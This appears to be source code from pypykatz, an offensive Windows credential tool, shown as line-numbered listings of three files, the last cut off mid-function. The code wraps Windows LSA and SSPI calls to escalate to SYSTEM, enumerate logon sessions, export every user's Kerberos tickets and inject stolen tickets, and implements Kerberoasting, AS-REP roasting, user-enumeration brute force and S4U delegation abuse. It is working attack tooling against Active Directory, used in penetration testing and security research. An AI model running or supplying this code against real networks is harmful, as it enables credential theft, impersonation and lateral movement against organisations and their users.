896 | ||
897 | LsaFreeReturnBuffer(start_luid) | |
898 | ||
899 | return res_luids | |
900 | ||
901 | # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsagetlogonsessiondata | |
902 | def LsaGetLogonSessionData(luid): | |
903 | #logon_process_name == This string must not exceed 127 bytes. | |
904 | _LsaGetLogonSessionData = windll.Secur32.LsaGetLogonSessionData | |
905 | _LsaGetLogonSessionData.argtypes = [PLUID, PVOID] #PSECURITY_LOGON_SESSION_DATA | |
906 | _LsaGetLogonSessionData.restype = NTSTATUS | |
907 | _LsaGetLogonSessionData.errcheck = LsaRaiseIfNotErrorSuccess | |
908 | ||
909 | if isinstance(luid, int): | |
910 | luid = LUID.from_int(luid) | |
911 | ||
912 | ppsessiondata = c_void_p() | |
913 | _LsaGetLogonSessionData(byref(luid), byref(ppsessiondata)) | |
914 | ||
915 | psessiondata = cast(ppsessiondata, PSECURITY_LOGON_SESSION_DATA) | |
916 | sessiondata = psessiondata.contents.to_dict() | |
917 | LsaFreeReturnBuffer(ppsessiondata) | |
918 | ||
919 | return sessiondata | |
920 | ||
921 | #https://github.com/mhammond/pywin32/blob/d64fac8d7bda2cb1d81e2c9366daf99e802e327f/win32/Lib/sspi.py#L108 | |
922 | #https://docs.microsoft.com/en-us/windows/desktop/secauthn/using-sspi-with-a-windows-sockets-client | |
923 | #https://msdn.microsoft.com/en-us/library/Aa374712(v=VS.85).aspx | |
924 | def AcquireCredentialsHandle(client_name, package_name, tragetspn, cred_usage, pluid = None, authdata = None): | |
925 | def errc(result, func, arguments): | |
926 | if SEC_E(result) == SEC_E.OK: | |
927 | return result | |
928 | raise Exception('%s failed with error code %s (%s)' % ('AcquireCredentialsHandle', result, SEC_E(result))) | |
929 | ||
930 | _AcquireCredentialsHandle = windll.Secur32.AcquireCredentialsHandleA | |
931 | _AcquireCredentialsHandle.argtypes = [PSEC_CHAR, PSEC_CHAR, ULONG, PLUID, PVOID, PVOID, PVOID, PCredHandle, PTimeStamp] | |
932 | _AcquireCredentialsHandle.restype = DWORD | |
933 | _AcquireCredentialsHandle.errcheck = errc | |
934 | ||
935 | #TODO: package_name might be different from version to version. implement functionality to poll it properly! | |
936 | ||
937 | cn = None | |
938 | if client_name: | |
939 | cn = LPSTR(client_name.encode('ascii')) | |
940 | pn = LPSTR(package_name.encode('ascii')) | |
941 | ||
942 | creds = CredHandle() | |
943 | ts = TimeStamp() | |
944 | _AcquireCredentialsHandle(cn, pn, cred_usage, pluid, authdata, None, None, byref(creds), byref(ts)) | |
945 | return creds | |
946 | ||
947 | # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/nf-sspi-querycontextattributesa | |
948 | def QueryContextAttributes(ctx, attr, sec_struct): | |
949 | #attr = SECPKG_ATTR enum | |
950 | def errc(result, func, arguments): | |
951 | if SEC_E(result) == SEC_E.OK: | |
952 | return SEC_E(result) | |
953 | raise Exception('%s failed with error code %s (%s)' % ('QueryContextAttributes', result, SEC_E(result))) | |
954 | ||
955 | _QueryContextAttributes = windll.Secur32.QueryContextAttributesW | |
956 | _QueryContextAttributes.argtypes = [PCtxtHandle, ULONG, PVOID] | |
957 | _QueryContextAttributes.restype = DWORD | |
958 | _QueryContextAttributes.errcheck = errc | |
959 | ||
960 | res = _QueryContextAttributes(byref(ctx), attr.value, byref(sec_struct)) | |
961 | ||
962 | return | |
963 | ||
964 | ||
965 | # https://msdn.microsoft.com/en-us/library/windows/desktop/aa375507(v=vs.85).aspx | |
966 | def InitializeSecurityContext(creds, target, ctx = None, flags = ISC_REQ.INTEGRITY | ISC_REQ.CONFIDENTIALITY | ISC_REQ.SEQUENCE_DETECT | ISC_REQ.REPLAY_DETECT, TargetDataRep = 0, token = None): | |
967 | #print('==== InitializeSecurityContext ====') | |
968 | #print('Creds: %s' % creds) | |
969 | #print('Target: %s' % target) | |
970 | #print('ctx: %s' % ctx) | |
971 | #print('token: %s' % token) | |
972 | def errc(result, func, arguments): | |
973 | if SEC_E(result) in [SEC_E.OK, SEC_E.COMPLETE_AND_CONTINUE, SEC_E.COMPLETE_NEEDED, SEC_E.CONTINUE_NEEDED, SEC_E.INCOMPLETE_CREDENTIALS]: | |
974 | return SEC_E(result) | |
975 | raise Exception('%s failed with error code %s (%s)' % ('InitializeSecurityContext', result, SEC_E(result))) | |
976 | ||
977 | _InitializeSecurityContext = windll.Secur32.InitializeSecurityContextA | |
978 | _InitializeSecurityContext.argtypes = [PCredHandle, PCtxtHandle, PSEC_CHAR, ULONG, ULONG, ULONG, PSecBufferDesc, ULONG, PCtxtHandle, PSecBufferDesc, PULONG, PTimeStamp] | |
979 | _InitializeSecurityContext.restype = DWORD | |
980 | _InitializeSecurityContext.errcheck = errc | |
981 | ||
982 | if target: | |
983 | ptarget = LPSTR(target.encode('ascii')) | |
984 | else: | |
985 | ptarget = None | |
986 | newbuf = SecBufferDesc() | |
987 | outputflags = ULONG() | |
988 | expiry = TimeStamp() | |
989 | ||
990 | if token: | |
991 | token = SecBufferDesc([SecBuffer(token)]) | |
992 | ||
993 | ||
994 | if not ctx: | |
995 | ctx = CtxtHandle() | |
996 | res = _InitializeSecurityContext(byref(creds), None, ptarget, int(flags), 0 ,TargetDataRep, byref(token) if token else None, 0, byref(ctx), byref(newbuf), byref(outputflags), byref(expiry)) | |
997 | else: | |
998 | res = _InitializeSecurityContext(byref(creds), byref(ctx), ptarget, int(flags), 0 ,TargetDataRep, byref(token) if token else None, 0, byref(ctx), byref(newbuf), byref(outputflags), byref(expiry)) | |
999 | ||
1000 | data = newbuf.Buffers | |
1001 | ||
1002 | return res, ctx, data, ISC_REQ(outputflags.value), expiry | |
1003 | ||
1004 | ||
1005 | def get_ticket_cache_info_helper(lsa_handle, package_id, luid, throw = True): | |
1006 | result = [] | |
1007 | message = KERB_QUERY_TKT_CACHE_REQUEST(luid) | |
1008 | ret_msg, ret_status, free_prt = LsaCallAuthenticationPackage(lsa_handle, package_id, message) | |
1009 | ||
1010 | if ret_status != 0: | |
1011 | if throw is True: | |
1012 | raise WinError(LsaNtStatusToWinError(ret_status)) | |
1013 | return result | |
1014 | ||
1015 | response_preparse = KERB_QUERY_TKT_CACHE_RESPONSE_SIZE.from_buffer_copy(ret_msg) | |
1016 | if response_preparse.CountOfTickets > 0: | |
1017 | #new class | |
1018 | class KERB_QUERY_TKT_CACHE_RESPONSE_ARRAY(Structure): | |
1019 | _fields_ = [ | |
1020 | ("MessageType", DWORD), | |
1021 | ("CountOfTickets", ULONG), | |
1022 | ("Tickets", KERB_TICKET_CACHE_INFO * response_preparse.CountOfTickets) | |
1023 | ] | |
1024 | ||
1025 | response = KERB_QUERY_TKT_CACHE_RESPONSE_ARRAY.from_buffer_copy(ret_msg) | |
1026 | for ticket in response.Tickets: | |
1027 | result.append(ticket.to_dict()) | |
1028 | ||
1029 | LsaFreeReturnBuffer(free_prt) | |
1030 | ||
1031 | return result | |
1032 | ||
1033 | def extract_ticket(lsa_handle, package_id, luid, target_name): | |
1034 | message = retrieve_tkt_helper(target_name, logonid=luid) | |
1035 | ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(lsa_handle, package_id, message) | |
1036 | ||
1037 | ticket = {} | |
1038 | if ret_status != 0: | |
1039 | raise WinError(LsaNtStatusToWinError(ret_status)) | |
1040 | if len(ret_msg) > 0: | |
1041 | resp = KERB_RETRIEVE_TKT_RESPONSE.from_buffer_copy(ret_msg) | |
1042 | ticket = resp.Ticket.get_data() | |
1043 | LsaFreeReturnBuffer(free_ptr) | |
1044 | ||
1045 | return ticket | |
1046 | ||
1047 | ||
1048 | if __name__ == '__main__': | |
1049 | ||
1050 | #luids = LsaEnumerateLogonSessions() | |
1051 | #for luid in luids: | |
1052 | # try: | |
1053 | # session_info = LsaGetLogonSessionData(luid) | |
1054 | # print(session_info) | |
1055 | # except Exception as e: | |
1056 | # import traceback | |
1057 | # traceback.print_exc() | |
1058 | # print(e) | |
1059 | from pypykatz.commons.readers.local.common.privileges import RtlAdjustPrivilege | |
1060 | from pypykatz.commons.winapi.processmanipulator import ProcessManipulator | |
1061 | pm = ProcessManipulator() | |
1062 | ||
1063 | ||
1064 | ||
1065 | #lsa_handle = LsaConnectUntrusted() | |
1066 | ||
1067 | #package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos') | |
1068 | #print(package_id) | |
1069 | #message = KERB_PURGE_TKT_CACHE_REQUEST() | |
1070 | #LsaCallAuthenticationPackage(lsa_handle, package_id, message) | |
1071 | #LsaDeregisterLogonProcess(lsa_handle) | |
1072 | ||
1073 | import sys | |
1074 | ||
1075 | #print(LsaGetLogonSessionData(0)) | |
1076 | #retrieve_tkt_helper('almaaaaasaaaa') | |
1077 | ||
1078 | #sys.exit() | |
1079 | ||
1080 | pm.getsystem() | |
1081 | lsa_handle = LsaRegisterLogonProcess('HELLOOO') | |
1082 | pm.dropsystem() | |
1083 | package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos') | |
1084 | ||
1085 | with open('test_9.kirbi', 'rb') as f: | |
1086 | ticket_data = f.read() | |
1087 | ||
1088 | luid = 0 | |
1089 | message = submit_tkt_helper(ticket_data, logonid=luid) | |
1090 | ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(lsa_handle, package_id, message) | |
1091 | ||
1092 | print(get_lsa_error(ret_status)) | |
1093 | print(ret_msg) | |
1094 | ||
1095 | # | |
1096 | ||
1097 | #print(lsa_handle_2) | |
1098 | #LsaDeregisterLogonProcess(lsa_handle_2) | |
1099 | ⏎ |
0 | ||
1 | from pypykatz.kerberos.kirbiutils import parse_kirbi, print_kirbi | |
2 | from pypykatz import logger | |
3 | import os | |
4 | import ntpath | |
5 | import glob | |
6 | import pprint | |
7 | import platform | |
8 | import datetime | |
9 | ||
10 | from msldap.commons.url import MSLDAPURLDecoder | |
11 | ||
12 | from minikerberos.security import KerberosUserEnum, APREPRoast, Kerberoast | |
13 | from msldap.authentication.kerberos.gssapi import get_gssapi, GSSWrapToken, KRB5_MECH_INDEP_TOKEN | |
14 | from minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog | |
15 | from minikerberos.common.spn import KerberosSPN | |
16 | from minikerberos.common.creds import KerberosCredential | |
17 | from minikerberos.common.target import KerberosTarget | |
18 | from minikerberos.common.keytab import Keytab | |
19 | from minikerberos.aioclient import AIOKerberosClient | |
20 | from minikerberos.common.utils import TGSTicket2hashcat | |
21 | from minikerberos.protocol.asn1_structs import AP_REQ, TGS_REQ, EncryptedData, KrbCredInfo, KRB_CRED, EncKDCRepPart | |
22 | from minikerberos.common.utils import print_table | |
23 | from minikerberos.common.ccache import CCACHE, Credential | |
24 | ||
25 | ||
26 | def process_target_line(target, realm = None, to_spn = True): | |
27 | spn = KerberosSPN() | |
28 | if to_spn is False: | |
29 | spn = KerberosCredential() | |
30 | line = target.strip() | |
31 | if line == '': | |
32 | return None | |
33 | m = line.find('@') | |
34 | if m == -1: | |
35 | if realm is not None: | |
36 | spn.username = line | |
37 | spn.domain = realm | |
38 | else: | |
39 | raise Exception('User %s is missing realm specification and no global realm is defined!' % line) | |
40 | ||
41 | else: | |
42 | spn.username, spn.domain = line.split('@',1) | |
43 | if realm is not None: | |
44 | spn.domain = realm | |
45 | ||
46 | return spn | |
47 | ||
48 | def generate_targets(targets, realm = None, to_spn = True): | |
49 | """ | |
50 | Takes a list of files or strings and generates a list of targets in <username>@<realm> format | |
51 | """ | |
52 | for target in targets: | |
53 | target = target.strip() | |
54 | try: | |
55 | open(target, 'r') | |
56 | except: | |
57 | x = process_target_line(target, realm = realm, to_spn = to_spn) | |
58 | if x: | |
59 | yield x | |
60 | else: | |
61 | with open(target, 'r') as f: | |
62 | for line in f: | |
63 | x = process_target_line(line, realm = realm, to_spn = to_spn) | |
64 | if x: | |
65 | yield x | |
66 | ||
67 | def process_keytab(keytablfile): | |
68 | with open(keytablfile, 'rb') as f: | |
69 | kt = Keytab.from_bytes(f.read()) | |
70 | print(str(kt)) | |
71 | ||
72 | def list_ccache(ccachefile): | |
73 | cc = CCACHE.from_file(ccachefile) | |
74 | table = [] | |
75 | table.append(['id'] + Credential.summary_header()) | |
76 | i = 0 | |
77 | for cred in cc.credentials: | |
78 | table.append([str(i)] + cred.summary()) | |
79 | i += 1 | |
80 | print() #this line intentionally left blank | |
81 | print_table(table) | |
82 | ||
83 | def roast_ccache(ccachefile, outfile = None): | |
84 | cc = CCACHE.from_file(ccachefile) | |
85 | if outfile: | |
86 | with open(outfile, 'wb') as f: | |
87 | for h in cc.get_hashes(all_hashes = True): | |
88 | f.write(h.encode() + b'\r\n') | |
89 | else: | |
90 | for h in cc.get_hashes(all_hashes = True): | |
91 | print(h) | |
92 | ||
93 | def del_ccache(ccachefile, index): | |
94 | output_filename = os.path.join(os.path.dirname(os.path.abspath(ccachefile)), '%s.edited.ccache' % ntpath.basename(ccachefile)) #sorry for this, im tired now :( | |
95 | cc = CCACHE.from_file(ccachefile) | |
96 | temp_cc = CCACHE() | |
97 | temp_cc.file_format_version = cc.file_format_version | |
98 | temp_cc.headerlen = cc.headerlen | |
99 | temp_cc.headers = cc.headers | |
100 | temp_cc.primary_principal = cc.primary_principal | |
101 | ||
102 | for i, cred in enumerate(cc.credentials): | |
103 | if i == index: | |
104 | continue | |
105 | ||
106 | temp_cc.credentials.append(cred) | |
107 | ||
108 | logger.info('Writing edited file to %s' % output_filename) | |
109 | temp_cc.to_file(output_filename) | |
110 | ||
111 | def ccache_to_kirbi(ccachefile, kirbidir): | |
112 | cc = CCACHE.from_file(ccachefile) | |
113 | logger.info('Extracting kirbi file(s)') | |
114 | cc.to_kirbidir(kirbidir) | |
115 | logger.info('Done!') | |
116 | ||
117 | def kirbi_to_ccache(ccachefile, kirbi): | |
118 | try: | |
119 | cc = CCACHE.from_file(ccachefile) | |
120 | except FileNotFoundError: | |
121 | cc = CCACHE() | |
122 | ||
123 | abs_path = os.path.abspath(kirbi) | |
124 | if os.path.isdir(abs_path): | |
125 | logger.info('Parsing kirbi files in directory %s' % abs_path) | |
126 | for kirbifile in glob.glob(kirbi + '*.kirbi'): | |
127 | cc.add_kirbi(kirbifile) | |
128 | else: | |
129 | cc.add_kirbi(kirbi) | |
130 | ||
131 | cc.to_file(ccachefile) | |
132 | ||
133 | async def get_TGS(url, spn, out_file = None): | |
134 | try: | |
135 | logger.debug('[KERBEROS][TGS] started') | |
136 | ku = KerberosClientURL.from_url(url) | |
137 | cred = ku.get_creds() | |
138 | target = ku.get_target() | |
139 | spn = KerberosSPN.from_user_email(spn) | |
140 | ||
141 | logger.debug('[KERBEROS][TGS] target user: %s' % spn.get_formatted_pname()) | |
142 | logger.debug('[KERBEROS][TGS] fetching TGT') | |
143 | kcomm = AIOKerberosClient(cred, target) | |
144 | await kcomm.get_TGT() | |
145 | logger.debug('[KERBEROS][TGS] fetching TGS') | |
146 | tgs, encTGSRepPart, key = await kcomm.get_TGS(spn) | |
147 | ||
148 | if out_file is not None: | |
149 | kcomm.ccache.to_file(out_file) | |
150 | logger.debug('[KERBEROS][TGS] done!') | |
151 | return tgs, encTGSRepPart, key, None | |
152 | except Exception as e: | |
153 | return None, None, None, e | |
154 | ||
155 | async def get_TGT(url): | |
156 | try: | |
157 | logger.debug('[KERBEROS][TGT] started') | |
158 | ku = KerberosClientURL.from_url(url) | |
159 | cred = ku.get_creds() | |
160 | target = ku.get_target() | |
161 | ||
162 | logger.debug('[KERBEROS][TGT] cred: %s' % cred) | |
163 | logger.debug('[KERBEROS][TGT] target: %s' % target) | |
164 | ||
165 | kcomm = AIOKerberosClient(cred, target) | |
166 | logger.debug('[KERBEROS][TGT] fetching TGT') | |
167 | await kcomm.get_TGT() | |
168 | ||
169 | cred = kcomm.ccache.credentials[0] | |
170 | kirbi, filename = cred.to_kirbi() | |
171 | ||
172 | return kirbi, filename, None | |
173 | except Exception as e: | |
174 | return None, None, e | |
175 | ||
176 | async def brute(host, targets, out_file = None, show_negatives = False): | |
177 | """ | |
178 | targets List<KerberosSPN> | |
179 | ||
180 | """ | |
181 | try: | |
182 | logger.debug('[KERBEROS][BRUTE] User enumeration starting') | |
183 | target = KerberosTarget(host) | |
184 | ||
185 | for spn in targets: | |
186 | ke = KerberosUserEnum(target, spn) | |
187 | ||
188 | result = await ke.run() | |
189 | if result is True: | |
190 | if out_file: | |
191 | with open(out_file, 'a') as f: | |
192 | f.write(result + '\r\n') | |
193 | else: | |
194 | print('[+] %s' % str(spn)) | |
195 | else: | |
196 | if show_negatives is True: | |
197 | print('[-] %s' % str(spn)) | |
198 | ||
199 | logger.info('[KERBEROS][BRUTE] User enumeration finished') | |
200 | return None, None | |
201 | except Exception as e: | |
202 | return None, e | |
203 | ||
204 | ||
205 | async def asreproast(host, targets, out_file = None, etype = 23): | |
206 | """ | |
207 | targets List<KerberosSPN> | |
208 | ||
209 | """ | |
210 | try: | |
211 | logger.debug('[KERBEROS][ASREPROAST] Roasting...') | |
212 | logger.debug('[KERBEROS][ASREPROAST] Supporting the following encryption type: %s' % (str(etype))) | |
213 | ||
214 | ks = KerberosTarget(host) | |
215 | ar = APREPRoast(ks) | |
216 | hashes = [] | |
217 | for target in targets: | |
218 | h = await ar.run(target, override_etype = [etype]) | |
219 | hashes.append(h) | |
220 | ||
221 | if out_file: | |
222 | with open(out_file, 'a', newline = '') as f: | |
223 | for thash in hashes: | |
224 | f.write(thash + '\r\n') | |
225 | else: | |
226 | print(h) | |
227 | ||
228 | logger.info('[KERBEROS][ASREPROAST] Done!') | |
229 | return hashes, None | |
230 | ||
231 | except Exception as e: | |
232 | return None, e | |
233 | ||
234 | async def spnroast(url, targets, out_file = None, etype = 23): | |
235 | """ | |
236 | targets List<KerberosSPN> | |
237 | ||
238 | """ | |
239 | try: | |
240 | logger.debug('[KERBEROS][SPNROAST] Roasting...') | |
241 | if etype: | |
242 | if etype == -1: | |
243 | etypes = [23, 17, 18] | |
244 | else: | |
245 | etypes = [etype] | |
246 | else: | |
247 | etypes = [23, 17, 18] | |
248 | ||
249 | logger.debug('[KERBEROS][SPNROAST] Using the following encryption type(s): %s' % (','.join(str(x) for x in etypes))) | |
250 | ||
251 | ku = KerberosClientURL.from_url(url) | |
252 | cred = ku.get_creds() | |
253 | target = ku.get_target() | |
254 | ar = Kerberoast(target, cred) | |
255 | hashes = await ar.run(targets, override_etype = etypes) | |
256 | ||
257 | if out_file: | |
258 | with open(out_file, 'w', newline = '') as f: | |
259 | for thash in hashes: | |
260 | f.write(thash + '\r\n') | |
261 | ||
262 | else: | |
263 | for thash in hashes: | |
264 | print(thash) | |
265 | ||
266 | logger.info('[KERBEROS][SPNROAST] Done!') | |
267 | return hashes, None | |
268 | ||
269 | except Exception as e: | |
270 | return None, e | |
271 | ||
272 | async def s4u(url, spn, targetuser, out_file = None): | |
273 | try: | |
274 | logger.debug('[KERBEROS][S4U] Started') | |
275 | cu = KerberosClientURL.from_url(url) | |
276 | ccred = cu.get_creds() | |
277 | target = cu.get_target() | |
278 | ||
279 | service_spn = KerberosSPN.from_target_string(spn) | |
280 | target_user = KerberosSPN.from_user_email(targetuser) | |
281 | ||
282 | if not ccred.ccache: | |
283 | logger.debug('[KERBEROS][S4U] Getting TGT') | |
284 | client = AIOKerberosClient(ccred, target) | |
285 | await client.get_TGT() | |
286 | logger.debug('[KERBEROS][S4U] Getting ST') | |
287 | tgs, encTGSRepPart, key = await client.getST(target_user, service_spn) | |
288 | else: | |
289 | logger.debug('[KERBEROS][S4U] Getting TGS via TGT from CCACHE') | |
290 | for tgt, key in ccred.ccache.get_all_tgt(): | |
291 | try: | |
292 | logger.debug('[KERBEROS][S4U] Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string'])) | |
293 | client = AIOKerberosClient.from_tgt(target, tgt, key) | |
294 | ||
295 | tgs, encTGSRepPart, key = await client.getST(target_user, service_spn) | |
296 | logger.debug('[KERBEROS][S4U] Sucsess!') | |
297 | except Exception as e: | |
298 | logger.debug('[KERBEROS][S4U] This ticket is not usable it seems Reason: %s' % e) | |
299 | continue | |
300 | else: | |
301 | break | |
302 | ||
303 | if out_file: | |
304 | client.ccache.to_file(out_file) | |
305 | ||
306 | logger.debug('[KERBEROS][S4U] Done!') | |
307 | return tgs, encTGSRepPart, key, None | |
308 | ||
309 | except Exception as e: | |
310 | return None, None, None, e |
0 | ||
1 | import datetime | |
2 | ||
3 | from winacl.functions.highlevel import get_logon_info | |
4 | from msldap.commons.url import MSLDAPURLDecoder | |
5 | from pypykatz.kerberos.functiondefs.asn1structs import InitialContextToken | |
6 | from minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat | |
7 | from minikerberos.network.clientsocket import KerberosClientSocket | |
8 | from minikerberos.common.target import KerberosTarget | |
9 | ||
10 | from minikerberos.security import APREPRoast, Kerberoast | |
11 | from minikerberos.common.creds import KerberosCredential | |
12 | from minikerberos.common.target import KerberosTarget | |
13 | from minikerberos.common.utils import TGSTicket2hashcat | |
14 | from minikerberos.protocol.asn1_structs import AP_REQ, KRB_CRED, EncKrbCredPart, \ | |
15 | KRBCRED, Authenticator, KrbCredInfo, EncryptedData, TGS_REQ, AP_REP | |
16 | from minikerberos.common.utils import print_table | |
17 | from minikerberos.common.ccache import CCACHE, Credential | |
18 | from minikerberos.protocol.structures import ChecksumFlags, AuthenticatorChecksum | |
19 | from minikerberos.protocol.encryption import Key, _enctype_table | |
20 | ||
21 | ||
22 | from pypykatz import logger | |
23 | from pypykatz.commons.winapi.processmanipulator import ProcessManipulator | |
24 | from pypykatz.kerberos.functiondefs.netsecapi import LsaConnectUntrusted, \ | |
25 | LsaLookupAuthenticationPackage, KERB_PURGE_TKT_CACHE_REQUEST, LsaCallAuthenticationPackage, \ | |
26 | LsaDeregisterLogonProcess, LsaRegisterLogonProcess, LsaEnumerateLogonSessions, \ | |
27 | LsaGetLogonSessionData, LsaFreeReturnBuffer, retrieve_tkt_helper, KERB_RETRIEVE_TKT_RESPONSE, \ | |
28 | get_lsa_error, get_ticket_cache_info_helper, extract_ticket, submit_tkt_helper, \ | |
29 | AcquireCredentialsHandle, InitializeSecurityContext, SECPKG_CRED, ISC_REQ, SEC_E, \ | |
30 | SecPkgContext_SessionKey, QueryContextAttributes, SECPKG_ATTR | |
31 | ||
32 | from pypykatz.kerberos.functiondefs.advapi32 import OpenProcessToken, GetTokenInformation_tokenstatistics | |
33 | from pypykatz.kerberos.functiondefs.kernel32 import GetCurrentProcessId, OpenProcess, CloseHandle, MAXIMUM_ALLOWED | |
34 | ||
35 | ||
36 | class KerberosLive: | |
37 | def __init__(self, start_luid = 0, helper_name = 'TOTALLY_NOT_PYPYKATZ'): | |
38 | self.available_luids = [] | |
39 | self.current_luid = start_luid | |
40 | self.original_luid = self.get_current_luid() | |
41 | self.kerberos_package_id = None | |
42 | self.helper_name = helper_name | |
43 | self.__lsa_handle = None | |
44 | self.__lsa_handle_is_elevated = None | |
45 | ||
46 | self.get_kerberos_package_id() | |
47 | self.list_luids() | |
48 | ||
49 | def get_kerberos_package_id(self): | |
50 | if self.kerberos_package_id is None: | |
51 | lsa_handle = LsaConnectUntrusted() | |
52 | self.kerberos_package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos') | |
53 | LsaDeregisterLogonProcess(lsa_handle) | |
54 | ||
55 | return self.kerberos_package_id | |
56 | ||
57 | def __open_elevated(self): | |
58 | if self.__lsa_handle_is_elevated is True: | |
59 | return self.__lsa_handle | |
60 | ||
61 | pm = ProcessManipulator() | |
62 | try: | |
63 | pm.getsystem() | |
64 | except Exception as e: | |
65 | raise Exception('Failed to obtain SYSTEM privileges! Are you admin? Error: %s' % e) | |
66 | ||
67 | self.__lsa_handle = LsaRegisterLogonProcess(self.helper_name) | |
68 | pm.dropsystem() | |
69 | self.__lsa_handle_is_elevated = True | |
70 | return self.__lsa_handle | |
71 | ||
72 | def open_lsa_handle(self, luid, req_elevated = False): | |
73 | if req_elevated is True: | |
74 | if self.__lsa_handle_is_elevated is True: | |
75 | return self.__lsa_handle | |
76 | return self.__open_elevated() | |
77 | ||
78 | ||
79 | if luid == 0 or self.original_luid == self.current_luid: | |
80 | self.__lsa_handle = LsaConnectUntrusted() | |
81 | self.__lsa_handle_is_elevated = False | |
82 | else: | |
83 | self.__open_elevated() | |
84 | ||
85 | return self.__lsa_handle | |
86 | ||
87 | def switch_luid(self, new_luid): | |
88 | self.open_lsa_handle(0, req_elevated=True) | |
89 | if new_luid not in self.available_luids: | |
90 | if new_luid not in self.list_luids(): | |
91 | raise Exception('This luid is not known!') | |
92 | ||
93 | self.current_luid = new_luid | |
94 | ||
95 | #def get_ticket_from_cache(self, luid, targetname): | |
96 | # self.open_lsa_handle(0, req_elevated=True) | |
97 | # ticket_data = None | |
98 | # msg_req_ticket = retrieve_tkt_helper(targetname, logonid = luid) | |
99 | # ret_msg, ret_status, free_prt = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, msg_req_ticket) | |
100 | # | |
101 | # #print('ret_msg %s' % ret_msg) | |
102 | # #print('ret_status %s' % ret_status) | |
103 | # if ret_status != 0: | |
104 | # raise get_lsa_error(ret_status) | |
105 | # | |
106 | # if len(ret_msg) > 0: | |
107 | # resp = KERB_RETRIEVE_TKT_RESPONSE.from_buffer_copy(ret_msg) | |
108 | # ticket_data = resp.Ticket.get_data() | |
109 | # LsaFreeReturnBuffer(free_prt) | |
110 | # | |
111 | # return ticket_data | |
112 | ||
113 | def get_ticketinfo(self, luid): | |
114 | if luid == 0: | |
115 | luid = self.original_luid | |
116 | self.open_lsa_handle(luid) | |
117 | ticket_infos = {} | |
118 | ticket_infos[luid] = [] | |
119 | for ticket_info in get_ticket_cache_info_helper(self.__lsa_handle, self.kerberos_package_id, luid, throw = False): | |
120 | ticket_infos[luid].append(ticket_info) | |
121 | ||
122 | return ticket_infos | |
123 | ||
124 | def get_all_ticketinfo(self): | |
125 | self.open_lsa_handle(0, req_elevated=True) | |
126 | ticket_infos = {} | |
127 | for luid in self.list_luids(): | |
128 | if luid not in ticket_infos: | |
129 | ticket_infos[luid] = [] | |
130 | for ticket_info in get_ticket_cache_info_helper(self.__lsa_handle, self.kerberos_package_id, luid, throw = False): | |
131 | if ticket_info != []: | |
132 | ticket_infos[luid].append(ticket_info) | |
133 | ||
134 | return ticket_infos | |
135 | ||
136 | def export_ticketdata_target(self, luid, target): | |
137 | self.open_lsa_handle(luid) | |
138 | return extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, target) | |
139 | ||
140 | def export_ticketdata(self, luid): | |
141 | if luid == 0: | |
142 | luid = self.original_luid | |
143 | ticket_data = {} | |
144 | if luid not in ticket_data: | |
145 | ticket_data[luid] = [] | |
146 | ||
147 | ticket_infos = self.get_all_ticketinfo() | |
148 | for ticket in ticket_infos[luid]: | |
149 | res = extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, ticket['ServerName']) | |
150 | ticket_data[luid].append(res) | |
151 | ||
152 | return ticket_data | |
153 | ||
154 | def export_all_ticketdata(self): | |
155 | self.open_lsa_handle(0, req_elevated=True) | |
156 | ticket_infos = self.get_all_ticketinfo() | |
157 | ticket_data = {} | |
158 | for luid in ticket_infos: | |
159 | if luid not in ticket_data: | |
160 | ticket_data[luid] = [] | |
161 | ||
162 | for ticket in ticket_infos[luid]: | |
163 | res = extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, ticket['ServerName']) | |
164 | ticket_data[luid].append(res) | |
165 | return ticket_data | |
166 | ||
167 | def get_current_luid(self): | |
168 | current_pid = GetCurrentProcessId() | |
169 | process_handle = OpenProcess(MAXIMUM_ALLOWED, False, current_pid) | |
170 | token_handle = OpenProcessToken(process_handle) | |
171 | stats = GetTokenInformation_tokenstatistics(token_handle) | |
172 | CloseHandle(process_handle) | |
173 | return stats['TokenId'] | |
174 | ||
175 | def list_luids(self): | |
176 | self.available_luids = LsaEnumerateLogonSessions() | |
177 | return self.available_luids | |
178 | ||
179 | def list_sessions(self): | |
180 | for luid in self.available_luids: | |
181 | try: | |
182 | session_info = LsaGetLogonSessionData(luid) | |
183 | print('USER "%s\\%s" SPN "%s" LUID %s' % (session_info.get('LogonDomain', '.'), session_info['UserName'], session_info['Upn'], hex(session_info['LogonId']))) | |
184 | except Exception as e: | |
185 | logger.debug('Failed to get info for LUID %s Reason: %s' % (luid, e )) | |
186 | continue | |
187 | ||
188 | def purge(self, luid = None): | |
189 | luids = [] | |
190 | if luid is None: | |
191 | self.open_lsa_handle(0, req_elevated=True) | |
192 | luids += self.list_luids() | |
193 | else: | |
194 | luids.append(luid) | |
195 | self.open_lsa_handle(luid) | |
196 | ||
197 | for luid_current in luids: | |
198 | message = KERB_PURGE_TKT_CACHE_REQUEST(luid_current) | |
199 | message_ret, status_ret, free_ptr = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, message) | |
200 | if status_ret != 0: | |
201 | if len(luids) > 1: | |
202 | continue | |
203 | raise get_lsa_error(status_ret) | |
204 | if len(message_ret) > 0: | |
205 | LsaFreeReturnBuffer(free_ptr) | |
206 | ||
207 | def submit_ticket(self, ticket_data, luid = 0): | |
208 | self.open_lsa_handle(luid) | |
209 | message = submit_tkt_helper(ticket_data, logonid=luid) | |
210 | ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, message) | |
211 | if ret_status != 0: | |
212 | raise get_lsa_error(ret_status) | |
213 | ||
214 | if len(ret_msg) > 0: | |
215 | LsaFreeReturnBuffer(free_ptr) | |
216 | ||
217 | def get_tgt(self, target = None): | |
218 | if target is None: | |
219 | logon = get_logon_info() | |
220 | if logon['logonserver'] is None: | |
